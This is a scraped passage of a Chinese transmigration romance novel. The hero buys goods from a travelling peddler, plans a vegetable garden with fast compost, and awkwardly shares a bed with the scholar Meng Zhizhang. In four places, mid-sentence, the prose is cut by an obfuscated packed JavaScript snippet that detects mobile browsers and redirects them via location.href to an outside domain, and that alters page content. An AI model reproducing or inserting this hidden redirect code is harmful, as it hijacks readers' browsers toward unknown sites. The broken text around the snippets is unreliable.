“咚咚咚咚，咚咚咚咚——” 庄聿白马上到家时，身后响起一串拨浪鼓。一个货郎挑着担子，正一步一颤走来。 在没有超市的古代，货郎可以称得上是移动小百货。见前方有人等，货郎忙加快脚步。 “小郎君可有什么想买的？眼下时新玩意，小可这担子上都有！” 庄聿白朝货担上看去，挤挤挨挨、满满登登、形形色色的小玩意，横七竖八、见缝插针地将前后两个大木箱塞得没一寸闲置空间。 雨伞、风筝、香囊、蒲扇、擦丝器，甚至刀枪剑戟等儿童玩具也是应有尽有。连帽子上都没放过，别着红绸花朵和几支小旗子，活脱脱一个行走的展示柜。 “可有清洁类的用品？”庄聿白将他的黑色黄金放在地上，笑着同这货郎提需求，见对方迟疑忙补充道，“比如皂角、牙刷之类的。” “有！有有。”货郎弯腰去打开一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773746|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外面插满小皮影的抽屉，取出几支竹制牙刷，“这牙刷子是银色马鬃做的，比市面上马尾猪鬃的好些，软和不扎人。” 庄聿白接过来，与现在牙刷形制所差无几，只是大些硬些。牙刷15文一支，庄聿白要了2支，又买些皂角、日常做菜香料等，总计37文。 货郎今日开张就得了大单，心中高兴：“新制的饴糖，小郎君需不需要。一文钱一块。” “家中没有孩子，糖果就不买了。”虽说不贵，但家底薄，每一文钱都得makesense。 庄聿白示意家就在前面，麻烦货郎同他向前走一段。货郎原本也顺路，两人拖着各自的影子，一同往村子里走。 货郎姓张，家在山那边的村子，平时主要在周边村镇走街串巷，偶尔也跑跑州县。附近村民大都认得他，唤他“货郎张”。 货郎张看上去身高一米七左右，干瘦型体格，前后两个大几十斤的木箱，像挑在一双细长的筷子上。 庄聿白见对方步子略沉，跟着放慢步伐：“我看你这货架上玩具和吃食多，为何不去大路，偏偏走这人少的小路？” “这里风水好，”货郎张双颊微红，话说一半先腼腆笑了，“其实是，我家那位……我马上当爹了，到孟书郎那里……沾沾文气。” “那先恭喜恭喜。”庄聿白说着客气话，料想对方口中的孟书郎应该是个文殊菩萨之类的神仙。连货郎都会绕路去拜，想来是个灵验的。他家那位书生正好要考试。得空他也去拜拜，入乡随俗！ “哪个孟书郎？是管人读书求学的神仙么？可有什么拜的规矩？” 货郎张一听先嗬嗬笑了，伸手向前指了指：“郎君是外乡来的吧，难怪不清楚我们这里的情况。这孟书郎是个书生，家就住前面这个村子。” 原来是个读书郎，庄聿白跟着不好意思地笑了。心想这孟家村果真是个风水宝地，他家这个书生看去已然不凡，又有一个孟书郎……自己算来对了。 “是我理解错了。爱子之心人皆有之，你是想孩子长大后，也像孟书郎一样读书习字对吧。” “哪敢和孟书郎一样！”货郎腾出一只手扯过毛巾擦了擦额头的汗，粗布袖口已经洗得发白，“孟书郎有大才，大家都说是文曲星下凡。我们哪敢和孟书郎比。何况我们这样人家，能吃饱穿暖就算有福气的了，就算晚上做梦也不敢想读书习字的事。” 古代读书是一件极为奢侈的事。家中丧失一个完整劳动力不说，还要汇集最好的资源供应脱产之人读书。吃穿用度外，日常束脩、书籍、笔墨纸砚等都是不小开销，一般家庭已经很难支撑。至于科举应试的路费、食宿等费用，更是底层百姓根本承担不起的。 “你和孟书郎……相熟？”庄聿白对这个有“文曲星”之称的孟书郎产生了兴趣。 “谈不上相熟。认识。十里八乡谁不晓得孟家村的孟书郎！小小年纪便接连考两个案首，那能是一般人么？当然这‘案首’是个啥，我也不是很清楚，只知道很厉害。远近几个学堂里的先生没有不夸他的，偶有几个读书好的苗子，也都拿这孟书郎做榜样。等着吧，孟书郎马上就是秀才相公了。后面说不定还能当上举人老爷！那才算给我们穷苦人长脸！” 货郎张越说越激动，仿佛看到孟书郎已经成了披红挂彩的举人老爷，正在鼎沸欢呼的人群中打马走来，路过自己这边时，还专门勒住马笑着冲自己点了点头。 人群中，满面喜气的货郎张瞬间腰板挺直，别提有多自豪。 12. 归家 已经能看到孟书郎家的柴院了，货郎张脚下轻快起来，脸上笑容也更灿烂： “小郎君若有什么想要的，也可以告诉我，我两三日便能来一趟。” “能搞到菜蔬种子么？”这话说道庄聿白心坎上了，他打量了下不远处那小片空地，心中规划着怎么安排，“比如芹菜、芜菁、白菜……就是菘菜的种子。若有菜苗就更好了。” “能！种子有，菜苗的话，我寻一寻。”货郎张爽利应承下来，“瞧！前面这个柴院，就是孟书郎家。” 庄聿白跟着货郎张的视线看去。 这……这不是我家么！ 孟书郎……孟知彰……好吧，闹了半天，大神竟在我家中！这算是买彩票中头奖吧。 庄聿白将手中的竹筐留在菜园，对货郎张道：“烦请稍站一站，我去家中取钱。” 货郎张站在整理到一半的菜园旁，看着眼前小郎君一路小跑着进了孟书郎的家，又从孟书郎家中兴冲冲一路小跑回来。他肩上的货担都忘记放下，张着口，满脸诧异和不可置信，半日方如梦方醒说了句： “小郎君，和孟书郎……也相熟？” …… “不能说相熟。”虽然有扮猪吃虎的嫌疑，庄聿白的腰杆还是暗不可察挺了挺，带着点小得意默默数出32文钱递给货郎。 “我是他表弟。” “……表弟？！”货郎张一双眼上上下下打量庄聿白。 孟书郎他见过的，高大威猛，像个罗汉。可眼前这“表弟”，身子弱了些，白白细细的，脸上也没什么血色，一副先天不足的模样……不过话又说回来，龙生九子，还各有不同呢。孟书郎的表弟长成这般肩不能扛、手不能提的模样，也没什么奇怪。 货郎张强行说服自己相信对方就是孟书郎表弟后，明显比方才招呼顾客的更热络了：“原来是孟书郎表弟，你等等，35文钱就可以了。” 货郎张硬塞回2文钱到庄聿白手中。 这是庄聿白没料到的。他知道货郎的每一文都是负重挑担、一步一吆喝挣来的血汗钱。他肩上挑的不仅是货担，更是全家的生活依靠。 “你走街串巷也不容易，哪能让你亏钱亏力。”庄聿白坚决不收。 2文钱4只手，就这样来来回回撕扯不下。庄聿白见货郎实在坚持，他忽然想到什么，又一路小跑回了家。 “你可卖面筋球？”庄聿白将两包面筋球带了来。授人以鱼不如授人以渔。 “面筋球是什么球？是哄孩童的小玩意么？”货郎没听过，更没见过，不过盯着庄聿白手中的荷叶包想一看究竟。 庄聿白打开荷叶，一五一十跟货郎讲明这是何物，该如何食用，再三强调非常好吃。 “这两包面筋球你先去试卖，每包售价8文，你赚1文。” 货郎张是个谨小慎微、底层讨生活的人，根本没什么托底变量。家中好几个人等这他过活，若一时亏了，家中米面立时见短。货担上东西虽多虽杂，但每一样他都熟悉，也知道该怎么售卖出去。可眼前这面筋球，让他为了难，见所未见闻所未闻，让他很是无从下手。 庄聿白看出对方的犹疑：“这东西当前十里八乡是没有的。你先带着试试行情，若卖不出去，这两包你就留下尝尝。” 话说到这个份上，货郎张将面筋球接了过来，还有孟书郎这个背书在，货郎重新掏出自己打着补丁但干净整洁的钱袋，开始数钱。 “试卖。等卖出去再将钱给我也不迟。”庄聿白伸手拦住，又道，“别忘了我的蔬菜种子！” 货郎走街窜巷，接触更广客群，哪怕前期打不开销路，至少能带来声量传播。而且人看去老实本分，家中马上添丁增口，赚钱的意愿也更强。 庄聿白冲货郎离去的方向点点头，对送上门来的这个经销渠道，很是满意。 * 孟知彰出门前说少则三日多则五天便回来，明日差不多该到家了。 庄聿白躺在孟知彰的枕上，心中默默盘算着钱袋子。孟知彰留给他的50文零花钱已经见底了，菜种菜苗要先挪用那100文虾片启动资金了。这属于正常生活支出，是必须要花的。 虾片制作的米面粮油等用的家中存货，后期计算产出比时，这些原材料要折算进来。不过真要折算的话，这100文启动资本想必已经用掉大半。 这些前期投入，都是必要的沉没成本。尽管眼前一个子也没进，但庄聿白对自己的产品有信心。产品有了，经销渠道也有了，接下来不就是闭眼数钱么。 那句话怎么说来着？对，心中有希望，脚下有力量。睡前给自己打打鸡血，做梦都会有动力。 月光隔着木质窗棂透进来，扫在庄聿□□致挺直的鼻梁上，像盖了一层薄薄云纱。他想起货郎张绕路来孟知彰这里沾文气，忍不住咧开嘴角。 该说不说，有时自己真有些狗屎运。谁曾想一朝撞到个潜力股。只要对方不拿刀逼着将自己砍出去，这条大腿，自己是抱定了！ * 淮南村被远远甩在身后。 这条路，这个月，孟知彰已是第二次行走。 上一次，他正大光明带着族人、带着聘礼，浩浩荡荡一群人来商议与未婚夫郎庄聿白的婚期。 这一次，他独自一人，悄悄来默默走，像那角江的水，来去无影。 淮南祭河的事，他知道了。 祭河的人，此时在他家中。 万幸。 日上中天，树影浓重，一簇簇滑过孟知彰的脊背，给少年阔朗肩膀压上更多重量。 生长于乡野，孟知彰原本可以像祖辈一样，面朝黄土背朝天过完这简单平凡的一生。 可他读到了圣贤书。他知道人生还有其他选择。读书致仕，匡扶社稷。少年的梦想，光明万丈。 后来，他读到更多的书，选择更加坚定。但他知道梦想的光，不能仅靠热血满腔。 再后来，书本之外他见到更多的人。这个世道比他想象的要复杂。当然他明白还有更复杂的人与事，是他凭现在的眼界和心力，理解不了、更解决不了。 比如当下的淮南。朗朗乾坤，昭昭日月，谁曾想到时至今日，一族人单凭不知哪来的一名巫觋的三言两句，竟然就能将一个鲜活的生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773747|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命祭了河。 河神娶妻，保五谷丰登？战国时就被戳破的鬼把戏，在他孟知彰所在的大恒朝还能被人奉为皋圭。荒唐，荒谬。 还有此次事出蹊跷，前前后后都有族长次子的身影。此人口碑，孟知彰此前略有耳闻，他可不像是能为了族人利益到处奔波的人。 最让孟知彰胸臆难舒的是，全族老少两三百口竟无一人觉得此事有问题。他忽然明白了三省书院南先生的那句感慨：开化民智、启迪民心，比移山填海还要难。 可眼下的他，连自身求学之路都仅是勉强维持，又何谈民心民智？ 此时的他人微言轻，此时的他对这个时代的风浪造不成任何影响。他现在能做的是拼尽所能潜学慎行，卑以自牧。 不过血债血偿、杀人偿命。这笔债，他孟知彰记下了。 松柏扎根地下，树冠向上伸展。根系越深，树身越高越稳固。除了撑起梦想、享受阔朗天地，也能荫蔽自己想保护的人，更能护及更多身边之百姓。 新松恨不高千尺。这条路，很长。这条路上，很孤独。 孟知彰想成为这样一株树。 他坚信，自己能长成这样一株树。 柴门紧闭。 孟知彰掸了掸这一路灰尘，像往常回家一般抬手去推门。 不知何时起，家，对孟知彰而言，成了一个住所。只是一个住所。 仅此而已。 母亲去后，这个家中陪伴自己的只有自己的影子。每次回家，门后的一切都是凉冰冰的，没有温度。 静，安静，肃静。 门内不再有自己思念的人，更没有人等待自己归来。 一次又一次的失望落寞后，门外人也不再心存期待，更习惯了不去期待。 “吱嘎——”一如往常，柴门一推便开。 一个人生活，出门时家里是什么样子，归来后，还会是什么样子。孟知彰早就习以为常。可推开门，眼前景象让孟知彰一时恍惚。 骨节分明的手，滞在柴门上，半日都忘记收回。 原本应该空荡荡的庭院，此时满满当当摆着各式架子，恨不能占据着家中能照到阳光的所有地方，高矮不一，晾晒着白色粉状物。 他眉心动了下，将柴门在身后关上，小心翼翼穿过一个个木架子、圆簸箕，朝着有声响的灶房走去。 灶上白色雾气翻滚，隐出一个单薄身影，正在那忙得热火朝天。 孟知彰心中一震，像被什么东西撞到。 他阔步走向那个身影。 灶下火软，干柴正“哔哔啵啵”细响；灶上米香，似要拂掉归家之人的疲累。 白色水汽散去，阳光冲破云层，一张笑盈盈的脸在水雾中浮出来，眼神明亮： “回来了？先休息一下，等会我们吃饭！” 一声招呼，像是隔着时空穿过来，等了许久。 孟知彰怔住，握着招文袋的手下意识攥紧，半日喉咙中方应了声： “好。” 有那么一瞬，他甚至萌生出一个念头： 或许，今后他可以不再孤身一人。 13. 菜园 “怎么了？我脸上有花？” 庄聿白放下筷子，伸手往脸上擦。 几日不见，眼前这书生看自己的眼神，很让他摸不着头脑。虽说自己没交代身世，那是原主的记忆所剩无已，不能怪自己不坦诚。 不过你这探究的眼神，是几个意思。 “这菜很不错。”孟知彰又夹了一筷，“软滑香嫩，从未吃过。” 孟知彰对吃的不甚讲究，也鲜少夸赞一道菜。主要是除了基本的衣食所需，家中日常银钱全部用于读书，口腹之欲从来都是最无需考虑的。 但他今日对盘中这金灿灿食物，很感兴趣，甚至夹起了第三筷。孟知彰向来克制自持，等他意识过来，第五筷已经放入口中。 这很不寻常。 “这是面筋。家中还有很多，你若是喜欢，明日再做些。”庄聿白对这份赞赏很是满意。 “面筋？”孟知彰眸色一亮，“回来时遇到云兄，交谈中对面筋赞不绝口，说云先生也很喜欢，让我向你道谢。” “云先生？山中的那位云先生么？”庄聿白没想到孟知彰也认识那位财主。不对想想也对，连货郎都认得孟书郎，与住在附近的财主相识，也合情合理。 孟知彰抬眸看下眼前人：“是。云先生是住在山中。”又补充道：“以及云先生很少夸赞什么。你这面筋果然不错。一个月内本钱翻十倍，不成问题。” “对我这么有信心？”话虽是反问，庄聿白嘴角早压不住，露出一排贝齿，碎玉般莹润。 或许没见过这样柔和的笑容，孟知彰忙移开视线：“你……真的不记得自己是谁？名字也想不起来？” …… 贝齿缓缓收了回去，待口中食物慢慢咽下去，方故作轻松回道： “没关系。你不用可怜我！” 餐桌上阳光凉下来，将碗碟间的热闹氛围全僵住，只剩食物轻轻咀嚼的声音。 一个谎言需要无数谎言去圆。庄聿白不擅长撒谎，此刻他非常担心对方再突然“关心”下自己的身世。他决定以攻为守，先下手为强：“你饭后忙么？我可能要劳烦你帮个小忙。” “今日无事。” 孟知彰也不清楚怎么就问出刚才的问题，或许急于确认对方是否真的失忆。但若一人被全族祭河，想来他脸上的笑容早不会这么干净纯粹。 死里逃生，是上苍有好生之德； 醒来失忆，是造物主怀悲悯之心。 对当事人而言，有些事只有忘记，才能攒够活下去的勇气吧。 一切都是最好的安排。孟知彰也不去过多纠结。 饭后，庄聿白带孟知彰参观他的“生产线”。 他抓起一把淡橘色虾片坯片，“哗啦啦”，听声音还欠些火候，必得晒干晒透才好。再等一夜，明天太阳出来再照上半刻钟就差不多了。 孟知彰被带到院北空地时，眸底又起了些波澜。自己才离家几天，竟多出来一片横平竖直的菜园。 “这里种两垄菘菜，这里栽一片芹菜，那一片芜菁也种些。” 庄聿白向土地主人展示着自己规划的菜园，眼底闪着光，好像满园青菜已从地下满溢出来，关也关不住。 被展示的人也尽力跟上节奏：“那一堆是柴草么？” “是肥堆。这片空地应该荒了有些年头，土层不够，若想种菜需要好好施些肥。” “你，懂得田地管理？” 孟知彰眼神不动声色地在对方身上擦过去，晚霞正漫天汇聚。 “……也算不上。”庄聿白稍稍收敛了下方才不小心露出的兴奋，忙又找补道，“残留了一些这方面的记忆。” 乡野长大，孟知彰自是知道堆肥的，一般都是肥材汇集后破土堆积，静置大几个月时间慢慢发酵腐熟，哪见过这般细细高高立在风口的肥堆。 听闻肥堆不仅要保持这个高度，四天后还要开始翻转且隔天一翻，孟知彰坚毅的眉梢暗不可察地挑了挑。 当得知第18天堆肥就可以施到田间时，孟知彰终于没忍住：“确定是18天，不是180天？” 庄聿白拍着胸脯打包票：“18天千真万确。这个，我是专业的。孟兄就擎好吧。” “好。” 孟知彰从不轻信于人，不知为何他却愿意相信眼前人的话，哪怕是有悖于自己过往认知的事情。 从面筋到菜地再到堆肥，眼前人就像一个跳跃的火苗，带着霞光，一点点照亮这个沉寂了许久的家。 一把稍旧的锄头递到孟知彰手中。翻地。菜园施肥前要深翻一次，增强疏松性、透气性，改善墒情。 铁锄陷入大地，带出略显枯黄的泥土，不时夹着碎石。 孟知彰外衫脱去，只留短打长裤，布帛腰间一系，越发腿长肩阔。 锄头有节奏地在空中和地面划着弧线。持锄人弓身翻地间，腰身在稍显单薄的衣衫中紧绷、鼓胀。 站在一旁“监工”的庄聿白心中不禁惊呼。这身段放到现代，活脱脱内娱顶流男模。真是生不逢时，若孟知彰跟着自己回去，单单靠脸也能混得风声水起。 瞧这粗硕的大长腿！瞧这宽阔微凹的胸肌！瞧着……额，胸前溻湿一块…… 白色衫子贴在身上，从中透出两片湿红肤色，正随着呼吸上下起伏。 “顶流男模”忽然停了下来，直起身对庄聿白招招手，口中还说着什么。 “什么？”庄聿白依稀听见“琥珀”二字。 “可否帮我取一盏水？”孟知彰从腰间扯过巾帕，擦了擦额头和脖领渗出的细汗。 “取一盏水？”庄聿白口中重复，脚下却像生了根一动未动，眼睛黏着那方擦汗的巾帕，将擦拭过的地方跟着仔细走了一遭。 “琥珀？” “……好。”对方又唤了声，庄聿白如梦方醒，忙收回视线小跑着回了家。 “有劳。”孟知彰将锄头立在身旁，接过茶杯。 水杯交接时，庄聿白似乎碰触到薄茧轻覆的手指，滚烫，带着些粗粝。触电的麻感下，庄聿白忙收了手，悄悄背在身后，揉搓着背后的衣角。 霞光漫天，柔粉色铺满天际，也染上庄聿白的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773748|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颊。 翻地是个辛苦活，眼前书生虽长得壮实，也着实耗了些力气。此时脖颈微扬，一口一口喝着茶盏里的水。喉结翻动，胸膛起伏…… 庄聿白从来没这么近看过一个男人喝水，自带一种说不出的力量与压迫感。 一滴水，不知是汗水还是茶水，正顺着青筋凸起的脖子一路向下，滚至颈窝，朝衣领微掀的更伸出滑去…… 庄聿白眼睁睁盯着这滴水……滚落，他想踮脚帮对方擦去。 忍了忍，刚要抬起的手还是放了下去。 男人哪能帮男人擦水，那可太奇怪了。 不过……他见过男人帮男人喂水。学校时，他在宿舍楼下不小心撞见俩男同学躲在柳树旁，你一口我一口喂对方水喝。果不其然，很快那两人在一起的八卦新闻就传了个风雨满城。 对，就是那种在一起。 起初庄聿白还不明白“在一起”是怎么个意思。结果邻校校草巴巴跑来找自己，把这个八卦强行讲给自己听，还把自己抵在教学楼冰凉硌人的水泥墙上，摆出酷酷的壁咚姿势，问自己能不能跟他也“在一起”。 ……喂！别搞！哥是直男！ 钢铁直男，社会主义五讲四美好青年，各种超强buff叠甲，不信还镇不住这歪风妖气？！ 正能量附体，妖邪退散！有时候庄聿白真想熬一桶浓浓的中药，请他们每人喝一碗。 庄聿白抬眸去看，那滴水早没了踪影，只留一条弯弯浅浅的水痕。眼下若自己强行帮人家擦水，这和那位校草按人按在粗粝坚硬的水泥墙上、掰着人家肩膀问能不能和自己“在一起”，有什么本质区别？ 他庄聿白有公德心，缺德事绝不干！ 心中正义凛然的庄聿白，脚下却忽地一软，稍稍站远了一步。 倒不是他故意与孟知彰保持距离，而是……而是离得稍近些，自己莫名觉得憋闷，有些喘不上气。 他也说不上为什么，只觉脸颊发烫，呼吸不畅。这里又不是高原，哪来的高原反应？ 一定是刚穿越来不久，没完全适应这里的空气含氧量。或者是这书生自带什么气场，连他周围的空气都变稀薄了。果然人不能长得太高冷。 初夏的夜，来的很快，倏忽挤满茅屋，只留书桌上一盏如豆油灯，飘飘忽忽舔拂着庄聿白七上八下的那颗心。 庄聿白洗漱完，像往常一样爬上孟知彰的床。后脑勺刚沾到枕头，他猛地弹坐起来。 “哗啦啦啦——哗啦啦啦”离家几日，又翻了半日地，此时的精壮书生，正在外面洗漱冲凉。 院子里水声不住。天角的星星狡黠地眨着眼。而庄聿白抱腿缩坐在床角，有些不知所措。 根据水声尾音的长短与声量，他可以清晰分辨出哪些水溅在身上，哪些水散落在地，当然还有一些随着直立的身体迅速下淌，将男子的完美肌肉曲线裹缠勾勒无余…… 庄聿白忙甩甩头，想将脑海中的奇怪片段删除。 今日不同往昔。今夜他不再是一个人。今晚之后，这张床上也将不再属于他一、个、人。 14. 同床 灯苗晃动，庄聿白睡了几晚的床，忽然陌生起来。 他伸开手臂量了量，左手到墙，右手到床边，只能算一张单人床…… 他此前怎么没想过两个人、一张床要怎么睡？只怪那一晚孟知彰根本没上床睡觉，而且第二天就出门了。 一斤米8文钱，一支牙刷15文钱……那一张床怎么也要几百文吧。 床，是买不起的。只能俩人共享。 至少今夜是。 庄聿白并不是没跟别人睡过一张床，比如大家出去实地考察，一排五六个人的大通铺也是睡过。可那是特殊情况，情势所迫、情非得已、情有可原。 眼下不同。孤男寡男，夜半无人，同处一室，同卧一床……庄聿白想想竟然有些发憷。 水声止了，接着是木盆撞击的声音…… 孟知彰洗漱好，这是在收拾战场了。 战场凯旋的将军，要班师回朝。庄聿白如临大敌。该如何迎接？ “你好，孟书郎，欢迎就寝。” 啊！怎么有种揽客的既视感。好奇怪。不行不行。 “孟知彰，晚上好。” 嗯……这又太正式。不合适不合适。 “知彰，来睡吧！” 噫！是不是又太热情了。大晚上喊人家名字，太暧昧太暧昧。 院子中一串脚步声越来越近，快到门口了…… 庄聿白深呼一口气，兵荒马乱，心跳如鼓。 “庄聿白啊庄聿白，你们是个直男！拿出直男该有的男子气概！” 直男庄聿白也不明白为什么要给自己打气。 “咚咚咚”敲门声想起，人已到门外。 床上正七手八脚、乱成一团的庄聿白一下定住。 “琥珀，我可以进来么？” …… 静。 “咚咚咚”敲门声更重了些。 …… 见门内没回应：“……琥珀？” “在……在，请进！”庄聿白高声答应，努力坐直。 木门推开，孟知彰款步走进来，披着满身月光，矜持得像一个谪凡圣人。 抬眼却见庄聿白正荒腔走板窝在床里侧一角。宽松粗布衣衫胡乱堆叠在身上，衣服下的人越发瘦削单薄。 而举到胸前的两只手……用布帛捆绑着？ “你这是……？” 孟知彰眉心微微一皱，旋即恢复泰山崩于前而面不改色的淡然，静待庄聿白的答案。 庄聿白欠欠身，将脚从身下挪出来。 ……他把脚也绑了！ 学着初来第一日孟知彰将他手脚绑起的样子。 “我睡觉喜欢绑着……”庄聿白心虚地咧嘴一笑，露出几颗小白牙，随即又压住笑容理直气壮道，“……有安全感！” …… 孟知彰暗不可察怔了下，没再说话，散着一头湿发，转身轻推木门，将淡淡月色关在外面，而后拖着一团晃动的影子径直朝里走去。 灯影晃动，人影晃动，心影晃动。 孟知彰抬手将招文袋挂从满满的书墙上摘下，掏出两卷书，稳稳在书桌旁坐了。 挑灯、研墨、蘸笔，就着火苗，一笔一划开始抄写起来，像是全然忘了床上还有一个庄聿白。 庄聿白呆坐在床上，不知过了多久，手脚发麻才回过意识。 “孟兄，你不睡么？”他试探着问了句。 灯苗微动。纸端，笔尖落影跟着轻摇几下。孟知彰视线仍然留在书页。 “你先睡。” “……” 庄聿白此时除了睡觉，确实没什么可做的，于是背贴着里侧的墙乖乖侧躺下去。 侧躺省空间。 他转着漆黑的眼珠，看看自己的枕头，又看看挤在一旁的孟知彰的枕头。给孟知彰的这个枕头是他好不容易在柜子底翻出来的。 一张床能挤下两个枕头，就能挤下两个人。 不过自己脸朝外，睡觉时岂不是一直面对着人家？ 庄聿白有自知之明，自己睡觉没个好规矩，才想出这么个睡觉绑手脚的好主意。绑了手脚似乎也不安全，万一自己脸贴着人家的……嗐！说不清的！ 自认为善解人意的庄聿白又开始将心比心，假如……对，假如说那个校草半夜面对自己睡，自己会作何感想？ 当然也不能这么类比，毕竟那个校草是通讯录，亟需一桶中药来解救。自己不一样，孟知彰也不一样。我们是双A钢铁直男，是君子，是坦坦荡荡的好兄弟。 庄聿白一骨碌翻个身，面壁思过似地将脸对向墙壁。 灯光从身后打过来，庄聿白的身影完整印在墙上。他用视线一遍遍勾描着自己的脑袋、耳朵、脸颊，以及肩膀…… “哗啦”翻书的响动一下将庄聿白惊醒。 不知何时竟睡过去了。他忙扭头看向身后，半张床，空的，没有半分动过的痕迹。不远处，孟知彰还在灯火下伏案竖笔。 强睡也睡不着，庄聿白索性解开手脚翻身下了床，披上外衫朝光亮处走去。 日间荒地里挥锄刨土的右手，此刻正持着一支竹笔在一册装订精致的空白书页上挥毫。手肘轻悬，腕部凝力，一列列蝇头小楷跃然纸上。 天头靠近鱼尾一侧都有一枚红色印章。庄聿白凑近了些，歪头辨认片刻。三、省、书、院。 “……是个有钱的书院！” 孟知彰顿住笔，侧过脸来看着眼前这位睡眼惺忪的“夜游神”，眼底有打量，也掠过一丝转瞬消逝的惊讶： “有钱？何以见得？” “看纸张就知道。这本旧书用纸也算好的，虽然泛黄，但没有霉点也不见蠹洞。可和这三省书院的纸张比，还是差了一截，高下立见。” 庄聿白说着还探下身子。 探索的手指伸过来，白皙手指拖着影子在光洁纸张上细细摩挲，像在细细感受着什么。 有心无心间，庄聿白的举动已经超出了社交安全距离。肩上几缕琥珀色头发蹭到孟知彰眼前，似远似近。理智告诉孟知彰此时应该向后挪开些，将面前书写空间腾给对方。 不过桌下双腿未动半分，执笔的手腕仍压着书页，保持一种半围半开的“围猎”姿势，端坐在那看着误入陷阱口的猎物、翕动着鼻翼小心试探，面上却依旧一派朗月清风、波澜不惊。 夜，将距离感钝化，也将所有细微感受放到最大。 自己的衣衫穿在眼前人身上是过于宽松。空荡的裤管已蹭上自己膝头，对方却全然不知，只满脸认真地盯着书页纸张研究。 孟知彰跟上对方的视线，书页上细长手指摸了摸天头空白，又好奇地挪向红色印章，留下摩挲的指影漫爬上按压书页的执笔手腕。 孟知彰手腕像被烫了下，微微一紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773749|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “这纸摸着轻软柔韧，还滑滑的，一定不便宜。按理说这么好的纸张刊印圣人书籍都绰绰有余，眼下这本书好像是四时农耕、工具制作的，属于匠术之类末流。末流之书都有这么高规格的待遇，这书院当然是个有钱的主了。” 庄聿白说着自己的推测。 “这是剡藤纸，坚滑不凝笔，性不蠹而耐久。不成想琥珀兄对纸张还有研究。”孟知彰微微动了下手腕，“书籍无贵贱，圣人书固然重要，这所谓的末流之书，也自有他的用武之地。就像腐叶败草，有人弃置不顾，有人则用来堆肥养田。不是么？” 突然被夸，庄聿白竟然还有些不好意思：“孟兄说得对！就算是垃圾，放对了地方就是宝贵资源。” 庄聿白说得高兴，搭在肩上的外衫忽然从肩膀滑落，他忙伸手去抓。一瀑琥珀色头发倾倒下来，激起满室水光，溅了孟知彰满眼。 橙色火苗冉冉上窜，房内变得燥热，孟知彰起身将一旁木窗子打开。 月色微凉，洒满书桌，给还带进些清凉空气。孟知彰应着夜色，缓缓舒出一口气。 身后人的声音却并未停止：“不过话说回来，这书院这么有钱，又不像抄经等做功德非要人手抄笔写，为什么不开版印刷呢？一次上千本书籍，既快又省力，岂不更好？” 庄聿白在博物馆中见到的古书多是雕版印刷，尤其宋版书，不仅技术成熟，成本也可控。手书抄经他能明白，但一个有钱书院，图书不版刻而是让人手抄，似乎说不过去。 “孟兄在这个书院读书？”庄聿白只能想到这个理由。 “我只抄书，换些糊口之资。” 从孟知彰口中，庄聿白对这个三省书院大致了解一二。三省书院是东盛府知名书院，辖下平安州、平宁州、长宁州等几个州县虽也有官办学校，与之相比，无论师资、藏书、学风还是名气，皆不能同日而语。三省书院建院百余载，翰林近百人，进士举人无数。坊间有言，挤进三省书院，相当于半只脚跨进天子门生之列。 庄聿白边听边若有所思点头，他能看出孟知彰对这个三省学院很是心向往之。 这样的学院自是人人都想进，也非人人都能进，门槛高在所难免。好的教学资源，哪个时代不是挤破脑袋去争抢。 三省书院不仅考察才学品行、师承背景，关键还要合书院山长的眼缘，这就排除不少人，能符合条件者寥寥无几。但即使入了选，即使免束脩，身处州府繁华地，日常开销也是笔不小数目。温饱都成问题的乡野书生，估计也只能想想。 “你帮他们抄书，赚不少钱吧？” 孟知彰没答话，起身去招文袋中掏出一个灰色钱袋，沉甸甸放在桌上。 “这是前些日抄经的银钱，一共360文，家中还有个1两银子结余，夏收过后，缴过税粮估计能有一两半进账，加上这次抄书，夏收之后家中能有3两银子。” 庄聿白小鹿般的眼睛眨了眨，他不明白眼前书生搭错了哪根筋，怎么忽然向自己交代起家底。 “家中情况就是这般。”孟知彰眼底出现从未有过的紧张。 